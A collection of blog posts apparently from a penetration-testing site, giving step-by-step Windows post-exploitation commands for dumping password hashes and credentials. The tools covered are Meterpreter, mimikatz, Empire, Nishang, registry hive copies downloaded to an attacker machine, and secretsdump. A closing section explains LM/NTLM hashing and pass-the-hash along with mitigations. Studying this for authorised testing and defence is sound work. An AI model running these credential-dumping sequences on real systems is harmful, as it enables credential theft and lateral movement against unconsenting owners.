Windows 10 – Get Hashes (Local)

by Vry4n_ | Nov 11, 2020 | WIndows Post-Exploitation

In Windows 10 we can also gather credentials. This guide is focused on techniques that work in Windows 10.

• The attacker need at least an account or shell in the server
• That user need administrative privileges

Having a shell in Meterpreter as an example we can migrate to a process run by “NT AUTHORITY\SYSTEM” if possible. “ps” command is used to list processes and <PID> number.

• ps
• migrate <pid>
• sysinfo

Meterpreter

Hashdump

With hashdump meterpreter command we can extract hashes

• hashdump

Meterpreter Kiwi

We can use a Mimikazt module within Meterpreter to extract user info including hashes

• load kiwi
• creds_all

We can also run help to see the module commands

• help kiwi

post/windows/gather/hashdump

This Metasploit module helps us gather the same hashes, again, as long as we have appropriate privileges

• use post/windows/gather/hashdump
• set session <#>
• run

post/windows/gather/smart_hashdump

Same as previous example, this post-module will help us find the hashes

• use post/windows/gather/smart_hashdump
• set session 1
• run

windows/gather/credentials/credential_collector

This module harvests credentials found on the host and stores them in the database.

• use windows/gather/credentials/credential_collector
• set session 1
• run

PowerDump (Empire)

Dumps hashes from the local system. Note: administrative privileges required. To download Empire (https://github.com/EmpireProject/Empire)

1. From Meterpreter you can load the powershell module

• load powershell
• help powershell

2. Then go to the local location where you downloaded Empire, get to this path (Empire/data/module_source/credentials), and import Invoke-PowerDump.ps1

• powershell_import Invoke-PowerDump.ps1
• powershell_execute Invoke-PowerDump

Get-PassHashes (Nishang)

The payload dumps password hashes using the modified powerdump script from MSF. Administrator privileges are required for this script (but not SYSTEM privs as for the original powerdump written by David Kennedy).

You can get Nishang from (https://github.com/samratashok/nishang.git)

1. We can use the same procedure as before, importingthe powershell module and running it.

• powershell_import Get-PassHashes.ps1
• powershell_execute Get-PassHashes

Mimikatz

1. This tool can also assist with password dump, first we need (mimikatz.exe & mimilib.dll) into the server. I’d use metasploit to save those in %temp%

• upload mimikatz.exe
• upload mimilib.dll
• shell
• mimikatz.exe

2. Now use token::elevate to make Mimikatz able to access SAM file, and lsadump::sam to read the file

• privilege::debug
• token::elevate
• lsadump::sam

Windows 7 – Get Hashes (Local)

by Vry4n_ | Nov 10, 2020 | WIndows Post-Exploitation

This time our target is Windows 7, having a reverse connection and appropriate privileges we can gather hashes, this is part of post exploitation activity.

Metasploit

Hashdump

With hashdump meterpreter command we can extract hashes, we need to first migrate to a system process and then run the command

1. Find processes and migrate

• ps
• migrate <PID>

2. Now we run hashdump

• hashdump

Meterpreter Kiwi

We can use a Mimikazt module within Meterpreter to extract user info including hashes

• load kiwi
• creds_all

3. We can also run help to see the module commands

• help kiwi

post/windows/gather/hashdump

This Metasploit module helps us gather the same hashes, again, as long as we have appropriate privileges

• use post/windows/gather/hashdump
• set session <#>
• run

post/windows/gather/smart_hashdump

Same as previous example, this post-module will help us find the hashes

• use post/windows/gather/smart_hashdump
• set session 1
• run

windows/gather/credentials/credential_collector

This module harvests credentials found on the host and stores them in the database.

• use windows/gather/credentials/credential_collector
• set session 1
• run

PwDump7

This tool can help extract hashes, you can download it from (https://www.tarasco.org/security/pwdump_7/). This tool extracts the SAM file from the system and dumps its credentials.

1. Upload the file (PwDump7.exe) and the DLL (libeay32.dll) in Temp folder, this time I used Meterpreter upload functionality

• cd %temp%
• upload PwDump7.exe
• upload libeay32.dll

2. Now we need to access the shell and run the program

• shell
• PwDump7.exe

Get the hash from registry

1. Copy the sam and system file into a location, in this case %temp%

• reg save hklm\sam %temp%\sam
• reg save hklm\system %temp%\system

2. Download the file into your Linux machine, I’d use meterpreter to download the files

• cd %temp%
• download sam
• download system

3. Using SamDump2, you can extract the contents of these files

• samdump2 system sam

PowerDump (Empire)

Dumps hashes from the local system. Note: administrative privileges required. To download Empire (https://github.com/EmpireProject/Empire)

1. From Meterpreter you can load the powershell module

• load powershell
• help powershell

2. Then go to the local location where you downloaded Empire, get to this path (Empire/data/module_source/credentials), and import Invoke-PowerDump.ps1

• powershell_import Invoke-PowerDump.ps1
• powershell_execute Invoke-PowerDump

Get-PassHashes (Nishang)

The payload dumps password hashes using the modified powerdump script from MSF. Administrator privileges are required for this script (but not SYSTEM privs as for the original powerdump written by David Kennedy).

You can get Nishang from (https://github.com/samratashok/nishang.git)

1. We can use the same procedure as before, importingthe powershell module and running it.

• powershell_import Get-PassHashes.ps1
• powershell_execute Get-PassHashes

Execution policy from CMD using powershell

1. Having the file transferred to the machine we attempt to import the Get-PassHashes. However, due to execution policy we can’t run it

• powershell -command Import-Module ./Get-PassHashes.ps1

2. For us to run powershell scripts we need to the Execution Policy to be other than restricted

• powershell -command Get-ExecutionPolicy

3. Only an administrator can change the execution policy

• powershell -command Set-ExecutionPolicy Unrestricted
• powershell -command Get-ExecutionPolicy

4. Before it was “Restricted”

• powershell -command Get-ExecutionPolicy

Mimikatz

1. This tool can also assist with password dump, first we need (mimikatz.exe & mimilib.dll) into the server. I’d use metasploit to save those in %temp%

• upload mimikatz.exe
• upload mimilib.dll
• shell
• mimikatz.exe

2. Now use token::elevate to make Mimikatz able to access SAM file, and lsadump::sam to read the file

• privilege::debug
• token::elevate
• lsadump::sam

Windows XP – Get Hashes (Local)

by Vry4n_ | Nov 7, 2020 | WIndows Post-Exploitation

This is to demonstrate different techniques to extract Windows users’ password. We need admin privileges to gather this information.

Metasploit

Hashdump

Having a meterpreter session we can execute the command “hashdump” to get the values of all saved passwords of windows users

• sysinfo
• hashdump

Load Mimikatz (kiwi) Meterpreter

• load kiwi
• help kiwi

This time we’d use “creds_all”, this will extract all saved credentials of local user account

post/windows/gather/hashdump

This module will dump the local user accounts from the SAM database using the registry

• use post/windows/gather/hashdump
• sessions -i
• show info
• set session 1
• run

If we get “Access is denied” you may need to migrate to a process that is run by “NT AUTHORITY\SYSTEM”

• sessions -i
• sessions 1
• ps
• migrate <PID>
• background
• run

post/windows/gather/smart_hashdump

This will dump local accounts from the SAM Database. If the target host is a Domain Controller, it will dump the Domain Account Database using the proper technique depending on privilege level, OS and role of the host.

• use post/windows/gather/smart_hashdump
• show info
• set session 1
• run

windows/gather/credentials/credential_collector

This module harvests credentials found on the host and stores them in the database.

• use post/windows/gather/credentials/credential_collector
• show info
• set session 1
• run

fgdump

A Tool For Mass Password Auditing of Windows Systems (https://www.aldeid.com/wiki/FGDump)

Syntax

• fgdump [-?][-t][-c][-w][-s][-r][-v][-k][-o][-a][-l logfile][-T threads] [{{-h Host | -f filename} -u Username -p Password | -H filename}]

Options

• -? = displays help (you’re looking at it!)
• -t = will test for the presence of antivirus without actually running the password dumps
• -c = skips the cache dump
• -w = skips the password dump
• -s = performs the protected storage dump
• -r = forgets about existing pwdump/cachedump files. The default behavior is to skip a host if these files already exist.
• -v = makes output more verbose. Use twice for greater effect
• -k = keeps the pwdump/cachedump going even if antivirus is in an unknown state
• -l = logs all output to logfile
• -T = runs fgdump with the specified number of parallel threads
• -h = is the name of the single host to perform the dumps against
• -f = reads hosts from a line-separated file
• -H = reads host:username:password from a line-separated file (per-host cr edentials)
• -o = skips pwdump history dumps
• -a = will not attempt to detect or stop antivirus, even if it is present

How to

1. Transfer it to the compromised machine. Via preferred method. I used “Upload” functionality from Meterpreter.

• upload fgdump.exe

2. I copied the application into a separate folder, try to do it in tmp or any other hidden location

• mkdir %temp%\results
• copy fgdump.exe %temp%\results
• cd %temp%\results
• dir

3. Run the application, After a few seconds a file “127.0.0.1.pwdump” has been created

• fgdump.exe
• dir

4. You can read the content of the files by using more CMD command.

• more 127.0.0.1.pwdump

Windows Editor Credentials (WCE)

Windows Credentials Editor (WCE) is a post-exploitation security tool that allows to list logon sessions and add, change, list and delete associated credentials (ex.: LM/NT hashes, plaintext passwords and Kerberos tickets).

WCE can be used, for example, to perform pass-the-hash on Windows, obtain NT/LM hashes from memory (from interactive logons, services, remote desktop connections, etc.), obtain Kerberos tickets and reuse them in other Windows or Unix systems and dump cleartext passwords entered by users at logon.

WCE is a security tool widely used by security professionals to assess the security of Windows networks via Penetration Testing. It supports Windows XP, 2003, Vista, 7, 2008 and Windows 8.

WCE works by using DLL injection or by directly reading the Local Security Authority Subsystem (LSASS) process memory. This second method is more secure in terms of operating system stability, because code is not injected into a highly privileged process.

Download it from https://www.ampliasecurity.com/research/windows-credentials-editor/

1. Having a session as administrator/system you can transfer the tool to the target

2. Once the file is in the target you can execute it to extract the hashes

Dump hives from Registry and Impacket

1. Get a copy of the SYSTEM, SECURITY and SAM hives and download them back to your local system

• reg.exe save hklm\sam c:\windows\temp\sam.save
• reg.exe save hklm\security c:\windows\temp\security.save
• reg.exe save hklm\system c:\windows\temp\system.save

2. Once the files are generated, transfer them to you Kali/Parrot machine. This time I used meterpreter to download the files (you can use any other method)

• cd C:\Windows\temp
• download c:\windows\temp\sam.save
• download c:\windows\temp\security.save
• download c:\windows\temp\system.save

Using Impacket to extract the content of these files

1. Download the application into your Linux machine

• git clone https://github.com/SecureAuthCorp/impacket.git
• pip install -r requirements.txt
• pip3 install impacket
• cd examples
• python3 secretdump.py

2. Once you can run the application, point to the downloaded files using secretdump.py

• python3 secretsdump.py -sam ~/Desktop/sam.save -security ~/Desktop/security.save -system ~/Desktop/system.save LOCAL

In-memory technique

The concept behind in-memory dump of SAM hashes it to inject a DLL into the LSASS system process or, generally speaking, parsing the memory for specific patterns and inspect these memory pages’ content. The former action can lead to a Blue Screen of Death (BSoD) condition following a crash of the LSASS process therefore this action is not recommended on production environments: prefer registry hive copy (regback.exe and reg.exe/regedit.exe) and Volume Shadow Copies techniques instead. Nevertheless, in some specific instances, the in-memory technique is required.

The most widely known standalone tool to dump SAM hashes is probably fgdump, the successor of pwdump6, both tools developed by the foofus team. The main advantage of fgdump over pwdump6 is that it works on Windows Vista and later versions. Although, I have seen them both failing under some circumstances. More reliable tools include pwdump7 from Andres Tarasco and the gsecdump from TrueSec. Both work on 32-bit and 64-bit systems across all versions of Windows. Although, the former cannot successfully dump users’ password hashes on domain controllers as it reads the SAM hashes from the registry rather than injecting into LSASS process. Despite not working on 64-bit systems, another popular and reliable tool is PWDumpX by Reed Arvin.

This has been got from (https://bernardodamele.blogspot.com/2011/12/dump-windows-password-hashes.html)

Mimikatz

Mimikatz is a powerful tool that can help with Windows exploitation. This time we will use some techniques to extract hashes. This tool is much powerful than that, but here we will just see a small process

1. First have the tool transferred to the victim machine using your preferred method. This time I used meterpreter “upload” functionality to save the file in %temp%

• upload /usr/share/windows-resources/mimikatz/Win32/mimikatz.exe

2. Now access the location where you stored the file

• cd %temp%
• pwd
• mimikatz.exe

3. First elevate privileges

• privilege::debug
• token::elevate

4. Get LSA

• sekurlsa::logonPasswords

5. We could also get the files from SAM (registry)

• lsadump::sam

Windows Password Hashes

by Vry4n_ | Nov 7, 2020 | WIndows Post-Exploitation

Most of the theory here has been taken from SANS documentation (https://www.sans.org/reading-room/whitepapers/testing/paper/39170) . This is intended to provide a summary about NT hashes and Pass the hash.

LM Password Hashes

The LAN Manager hash was one of the first password hashing algorithms to be used by Windows operating systems, and the only version to be supported up until the advent of NTLM used in Windows 2000, XP, Vista, and 7. These newer operating systems still support the use of LM hashes for backwards compatibility purposes. However, it is disabled by default for Windows Vista and Windows 7.

In earlier versions of Windows, the LM hash is typically stored and transmitted by default. However, in Windows Vista and versions above, the LM hash is not stored by default, nor is it used by default during network authentication. Instead, the newer versions use the NTLMv2 hash as the default authentication method.

Example

If LM hashes are enabled on your system (Win XP and lower), a hash dump will look like:

• Administrator:500:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537:::

If LM hashes are disabled on your system (Win Vista, 7, 8+), a hash dump will look like:

• Administrator:500:NO PASSWORD*********************:0CB6948805F797BF2A82807973B89537:::

LM hash break down

• First field: the username
• Second field: the SID (Security IDentifier) for that username
• Third field: the LM hash
• Forth field: the NTLM hash

LM hash mechanics

• When a user creates a new password, this password is converted to all uppercase
• then it’s padded out to 14 characters
• The password is then split into two 7-byte chunks
• The two chunks then will be used as a key in a Data Encryption Standard (DES) encryption to encrypt a fixed value
• The values of the two DES operations are concatenated and the result is stored as the LM hash

LM hash weaknesses

• The password length is limited to 14 characters, broken up into two independent 7-byte chunks
• the password is case-insensitive which decreases the key space available for the users to choose their passwords from

NTML hash

NT LAN Manager (NTLM) is the Microsoft authentication protocol that was created to be the successor of LM. NTLM was accepted as the new authentication method of choice and implemented with Windows NT 4. It MD4 hashing algorithm to create the hash based upon a series of mathematical calculations

MD4 is considered to be significantly stronger than DES as it allows for longer password lengths, it allows for distinction between uppercase and lowercase letters and it does not split the password into smaller, easier to crack chunks.

Windows does not utilize a technique called salting. Salting is a technique in which a random number is generated in order to compute the hash for the password. This means that the same password could have two completely different hash values, which would be ideal. It is a good practice to use a salt when storing passwords.

NTLM mechanics

• It takes the password, hashes it using the MD4 algorithm
• It does not break up the password into chunks
• the password is case-sensitive
• can support very long passwords (127 characters)

NTLMv1

To generate the NT hash from a plaintext password 1), one needs to apply the MD4 hashing function to the UTF-16 Little Endian encoding of the password.

NT_Hash(password) = MD4(UTF-16-LE(password))

• NT_Hash(“pass1”) = “8D7A851DDE3E7BED903A41D686CD33BE”

identical passwords can be identified based on the NT hashes solely, without breaking the encryption. It is worth noting that NT hashes, in many scenarios, are equivalent to passwords themselves.

The NTLMv1 hashing algorithm takes as input the NT hash of a password and a challenge provided by the server. It concatenates the NT hash with five bytes of zeros. It splits this string into three 7-byte keys. Those keys are used to encrypt the challenge using DES. The cryptograms are concatenated to create the NTLMv1 hash

c = challenge

K1 | K2 | K3 = NT_Hash(password) | “0000000000”

NTLMv1(password, c) = DES( K1, c) | DES( K2, c) | DES( K3, c)

• c = “1122334455667788”
• NTLMv1(“pass1”, c) = “151814cebe6083b0551173d5a42adcfa183c70366cffd72f”

It is essential to notice that NTLMv1 hashes can be cracked, revealing the NT hash that was used to generate them. Rainbow tables exist for chosen NTLMv1 challenges, making it possible to obtain the hash in minutes.

NTLMv2

The NTLMv2 hashing algorithm concatenates a user name and domain name, and then it applies the HMAC-MD5 hashing function using the NT hash of a password as the key. Next, it concatenates a server and client challenges and again applies the same hashing function, using the output of the previous calculation as the key.

NTLMv2 is stronger than NTLMv1. Usually, brute-force or dictionary attacks, using tools like hashcat or john, need to be applied to break the hash. These attacks are feasible and commonly applied leading to the recovery of the password rather than the NT hash.

Credential Process

Windows credentials are validated against the Security Accounts Manager (SAM) database on the local computer, or against Active Directory on a domain-joined computer, through the Winlogon service. Credentials are collected through user input on the logon user interface or programmatically via the application programming interface (API) to be presented to the authenticating target.

The credentials used in authentication are digital documents that associate the user’s identity to some form of proof of authenticity, such as a certificate, a password, or a PIN.

Local security information is stored in the registry under HKEY_LOCAL_MACHINE\SECURITY. Stored information includes policy settings, default security values, and account information, such as cached logon credentials. A copy of the SAM database is also stored here, although it is write-protected.

This has been taken from (https://docs.microsoft.com/en-us/windows-server/security/windows-authentication/credentials-processes-in-windows-authentication)

The following diagram shows the components that are required and the paths that credentials take through the system to authenticate the user or process for a successful logon.

The following table describes each component that manages credentials in the authentication process at the point of logon.

Authentication components for all systems

It is known that Windows computers can be configured to be in a workgroup or joined to a domain. In a workgroup, each computer holds its own SAM which contains information about all its local user and group accounts. The passwords associated with each of these accounts are hashed and stored in the SAM. The hashing of passwords offers some measure of security and minimize the risks of an attack. The Local Security Authority (LSA) validates a user’s logon attempt by verifying their credentials against the data stored in the SAM. A user’s logon attempt is successful only when the entered password matches the password stored in the local SAM.

In a domain-joined computer, there can be two types of logons: a local logon (that is handled by the SAM as described above) and a domain user logon using the Active Directory (AD) database with the WinLogon service. However, when a user logs on to a computer as a local user, the user will not be able to access the network resources. A Windows server that has been promoted to a DC will use the AD database instead of the SAM to store data. The only instance it will use the SAM would be to boot into DSRM for performing maintenance operations. This is because the DSRM administrator password is stored locally in the SAM and not in AD.

Credential storage

Cached Credentials

Validation mechanisms rely on the presentation of credentials at the time of logon. However, when the computer is disconnected from a domain controller, and the user is presenting domain credentials, Windows uses the process of cached credentials in the validation mechanism.

Each time a user logs on to a domain, Windows caches the credentials supplied and stores them in the security hive in the registry of the operation system.

With cached credentials, the user can log on to a domain member without being connected to a domain controller within that domain.

In other words, Cached credentials is a term used to describe the process of storing the domain login credentials so that a user can login locally to a domain member without being connected to a domain controller

To get Sam dump or Hash of passwords from registry hive we need system privileges or NT Authority privileges

Where do I find the SAM/Hashes?

It can be found on the hard drive in the folder %systemroot%system32config. However this folder is locked to all accounts including Administrator while the machine is running. The only account that can access the SAM file during operation is the “System” account.

You may also be able to find the SAM file stored in %systemroot% repair if the NT Repair Disk Utility (rdisk) has been run and the Administrator has not removed the backed up SAM file.

The final location of the SAM or corresponding hashes can be found in the registry. It can be found under HKEY_LOCAL_MACHINESAM. This is also locked to all users, including Administrator, while the machine is in use

Memory

Windows caches users’ passwords hashes (NT hash, and LM hash) in a memory location whenever a user logs on interactively or via terminal service. This location is accessible only by the operating system, and any process acting as the operating system.

• The operating system uses this cached hash to authenticate the user whenever the user tries to access a network resource, and that resource requires authentication
• This is done transparently for the user, who otherwise would be entering her password every time she tries to access a resource on the network
• The memory location is purged as soon as the user locks his system or logs off

Reversibly Encrypted

In this form passwords are stored reversibly encrypted. This encryption can be reversed and the clear-text password(s) can be revealed. This form of password storage is disabled by default

Backups

SAM file can also be stored in a backup location: C:\Windows\Repair\SAM

Security Accounts Manager database

The Security Accounts Manager (SAM) is a database that stores local user accounts and groups. It is present in every Windows operating system; however, when a computer is joined to a domain, Active Directory manages domain accounts in Active Directory domains.

If someone attempts to log on to the system and the user name and associated passwords match an entry in the SAM, a sequence of events takes place ultimately allowing that person access to the system. If the user name or passwords do not properly match any entry in the SAM, an error message is returned requesting that the information be entered again.

The SAM database runs automatically as a background process when the computer starts up. The SAM also works together with other processes and services that run on the computer, by providing the security information needed.

The Windows SAM database file resides in C:\Windows\System32\config. The hashed values of all passwords find a place in the HKEY_LOCAL_MACHINE\SAM of the registry. However, there are rules that govern ‘when’ and ‘who’ can access this file.

Local Security Authority LSA

The Local Security Authority (LSA) is a protected system process that authenticates and logs users on to the local computer. In addition, LSA maintains information about all aspects of local security on a computer (these aspects are collectively known as the local security policy), and it provides various services for translation between names and security identifiers (SIDs). The security system process, Local Security Authority Server Service (LSASS), keeps track of the security policies and the accounts that are in effect on a computer system.

The Local Security Authority Subsystem Service (LSASS) stores credentials in memory on behalf of users with active Windows sessions. The stored credentials let users seamlessly access network resources, such as file shares, Exchange Server mailboxes, and SharePoint sites, without re-entering their credentials for each remote service.

LSASS can store credentials in multiple forms, including:

• Reversibly encrypted plaintext
• Kerberos tickets (ticket-granting tickets (TGTs), service tickets)
• NT hash
• LAN Manager (LM) hash

If the user logs on to Windows by using a smart card, LSASS does not store a plaintext password, but it stores the corresponding NT hash value for the account and the plaintext PIN for the smart card. If the account attribute is enabled for a smart card that is required for interactive logon, a random NT hash value is automatically generated for the account instead of the original password hash. The password hash that is automatically generated when the attribute is set does not change.

If a user logs on to a Windows-based computer with a password that is compatible with LAN Manager (LM) hashes, this authenticator is present in memory.

The storage of plaintext credentials in memory cannot be disabled, even if the credential providers that require them are disabled.

The stored credentials are directly associated with the Local Security Authority Subsystem Service (LSASS) logon sessions that have been started after the last restart and have not been closed. For example, LSA sessions with stored LSA credentials are created when a user does any of the following:

• Logs on to a local session or Remote Desktop Protocol (RDP) session on the computer
• Runs a task by using the RunAs option
• Runs an active Windows service on the computer
• Runs a scheduled task or batch job
• Runs a task on the local computer by using a remote administration tool

In some circumstances, the LSA secrets, which are secret pieces of data that are accessible only to SYSTEM account processes, are stored on the hard disk drive. Some of these secrets are credentials that must persist after reboot, and they are stored in encrypted form on the hard disk drive. Credentials stored as LSA secrets might include:

• Account password for the computer’s Active Directory Domain Services (AD DS) account
• Account passwords for Windows services that are configured on the computer
• Account passwords for configured scheduled tasks
• Account passwords for IIS application pools and websites
• Passwords for Microsoft accounts

How passwords are used

OLD

Both LM and NTLM are very similar, but differ mainly in the hash used to compute the response. LM and NTLM are used for authentication in workgroups. They are also used in a domain environment if either the client, or the server is not a domain member, or if a resource within the domain is accessed by its IP address instead of its NetBIOS or DNS name.

All Windows OSs prior to Windows Server 2003 send both LM and NTLM responses by default. In Windows Server 2003 only the NTLM response is sent by default, while the LM response field is mostly unused

CURRENT

NTLMv2 improves upon LM and NTLM hashes and their weaknesses. It uses the NT hash; however, it also includes a client challenge in the computation. NTLMv2 also includes timestamps which makes it immune to reply attacks and is the default authentication method used from Windows Vista onward

NTLMv2 hash is not stored in Windows, it is generated on the fly. NTLMv2 authentication uses both the client nonce and the server nonce/challenge to calculate the response, unlike NTLM authentication, which uses a fixed server challenge. This calculation process eliminates the possibility of precomputed attacks against NTLMv2

DOMAIN

Kerberos is a set of services only used in a domain environment when a NetBIOS name or DNS name is used to connect. If a user connects to a resource via IP, then Kerberos will not be used. LM, NTLM, or NTLMv2 will be used instead to authenticate the user.

• Kerberos provides authentication for both the user and the server.
• The client and server agree on the encryption algorithm, the shared secret key, and the recognition data
• the authenticator, which can include the sender’s name, domain, time, IP, and the MD5 checksum of the authenticator.
• When the client and server decrypt the recognition data, the data let them prove to one another that they know the shared 128-bit secret.
• Windows versions prior to Server 2008 use the RC4 encryption algorithm
• Windows Server 2008 uses AES which is much more secure than RC4

How can passwords be attacked?

The two popular attacks against passwords are online and offline attacks. There are also other

forms of attacks against passwords, for example via key loggers, shoulder-surfing, social engineering, etc.

Online Password Attack – Password Guessing

An online password attack, also known as password guessing, is the process of attempting to find passwords by trying to login. Online password attacks are relatively slow, typically rated at about 50 password attempts a minute. A true brute force attack takes a lot longer. Under these conditions, trying millions of passwords simply isn’t an option. In this attack, an attacker can either manually enter passwords or use some software tools to automate the process

Offline Password Attack – Password CrackingAn offline password attack, also known as password cracking, is used when the attacker has captured the password hash. In this attack, the attacker will start cracking the password by creating a hash of a password or a challenge-response sequence and comparing it to the hash or response that he captured. If a match is found, the attempt to crack the hash is considered successful

Difference

The difference between online and offline attacks is that, in an online attack, the password has the protection of the system in which it is stored on. However, in offline attacks, passwords have no such protection. For this reason, offline attacks are in general much faster than online attacks.

Precomputed hash attack

Precomputed attacks are a form of offline attacks. In this attack, also known as ‘rainbow table attack’, the password hashes are stored in a file. The size of this file can be very large, for example storing all LM hashes requires 310 terabytes of storage.

Precomputed hashes can greatly decrease the time needed to crack passwords. In fact they can decrease the time required to find a password from months or weeks to just a few hours or even minutes.

Pass the hash

it is essential to understand that the PtH attack uses the actual NT hash. PtH in Windows 10 is closely related to the NTLMv2 authentication protocol. Windows implements a Single Sign-On (SSO) system, which caches credentials after the initial authentication and uses them later to access hosts, file shares, and other resources.

The NTLMv2 authentication process applies a challenge/response exchange, which, instead of using the user’s password, uses its NT hash. This feature allows the attacker to authenticate with the NT hash (Pass-the-Hash), without the knowledge of the corresponding password.

The PtH attack is composed of two primary steps:

• Extraction of hashes from an already compromised host or from another, not-yet-compromised host via network communication
• Application of the extracted hashes to gain access to the same or a different machine

Important (Mimikatz)

• The attacker need at least an account or shell in the server
• That user need administrative privileges

In a pass-the-hash attack, the goal is to use the hash directly without cracking it, this makes time-consuming password attacks less needed.

How do you Prevent Pass-the-Hash Attacks

For a PtH attack to succeed, the perpetrator must first gain local administrative access on a computer to lift the hash. Once the attacker has a foothold they can move laterally with relative ease, lifting more credentials and escalating privileges along the way.

Implementing the following security best practices will help eliminate, or at least minimize the impact of, a PtH attack:

• A least privilege security model: Can limit the scope, and mitigate the impact of a PtH attack, by reducing an attackers ability to escalate privileged access and permissions. Removing unnecessary admin rights will go a long way to reducing the threat surface for PtH and many other types of attacks.
• Password management solutions: Can rotate passwords frequently (and/or after a known credential compromise) can condense the window of time during which a stolen hash may be valid. By automating password rotation to occur after each privileged session, you can completely thwart PtH attacks, and exploits relying on password reuse.
• Separation of privileges: meaning separating different types of privileged and non-privileged accounts, can reduce the scope of usage for administrator accounts, and thus, reduce the risk for compromise, as well as the opportunity for lateral movement.